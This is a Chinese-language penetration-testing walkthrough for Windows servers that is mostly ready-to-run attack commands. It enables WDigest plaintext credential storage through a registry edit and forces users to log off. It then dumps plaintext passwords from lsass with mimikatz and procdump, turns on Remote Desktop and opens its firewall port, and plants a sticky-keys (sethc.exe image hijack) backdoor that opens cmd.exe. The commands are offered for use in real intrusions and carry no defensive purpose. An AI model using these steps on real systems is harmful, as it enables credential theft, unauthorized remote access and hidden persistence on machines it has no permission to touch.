目录
1.提取Windows Server 2012之后版本的登录密码
1.提取Windows Server 2012之后版本的登录密码
Windows服务器自2012始默认是不存储明文密码的,使用常规的渗透方法(mimikatz+procdump64.exe)是获取不到密码。但是这个问题能难倒我,怎么难得倒足智多谋的社会人呢?
需要修改注册表(# 注意如果执行修改、查询注册表命令失败时建议切换后门管理工具)
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
在修改注册表的时候,使用的测试系统是没有注册表项(UseLogonCredential) ,使用命令行添加
执行完成后会发现注册表里会多一个东西
需要锁频迫使用户重新登录,需要管理员权限才能执行该命令,关于rundll32.exe请查阅微软官网的指导说明。
rundll32.exe user32.dll,LockWorkStation # 锁屏
查询用户ID,注销已登录用户,实战环境中建议慎用。
query user
通过id注销已登录用户,就是把用户挤下去让他在登陆一遍,这样系统就会记录登录用户的明文密码了。
logoff ID
然后再利用工具(mimikatz+procdump64.exe)获取明文密码
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords exit
也可以使用(procdump64.exe+mimikatz)在本次提取密码,效果一样,注释纯属见文识意并不十分准确。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #从lsass.exe导出配置文件并保存为lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" # 提取lsass.dmp的内容
2.远程登录
在拿到密码后当然需要远程登录一波了, 根据本次实战环境发现运维人员修改了3389端口,使用命令查询修改后的端口,原理就是查询注册表PortNumber的值,修改端口时也需要修改该参数。
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
该值默认是16进制,需要转换一下
开启远程桌面,在开启远程桌面前需要配置防火墙策略
防火墙策略配置netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
Windows 2012
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
Windows 2008
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
3.Shift粘滞建后门-映像劫持
本内容来自好友【shy014】
粘滞建后门是Windows的一个特性,目的是为了方便手指不方便的人,俗话说的好“本来网络是安全,自从有了研究安全的人之后就开始不安全了”。
该隐患的原理就是替换"Options\sethc.exe"文件为"C:\windows\system32\cmd.exe",当正常调用粘滞建功能时就会调用cmd命令行。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
当再次连续5次点击Shift时就会弹出cmd命令行
补充
netsh advfirewall firewall show rule name="Remote Desktop" # 查看策略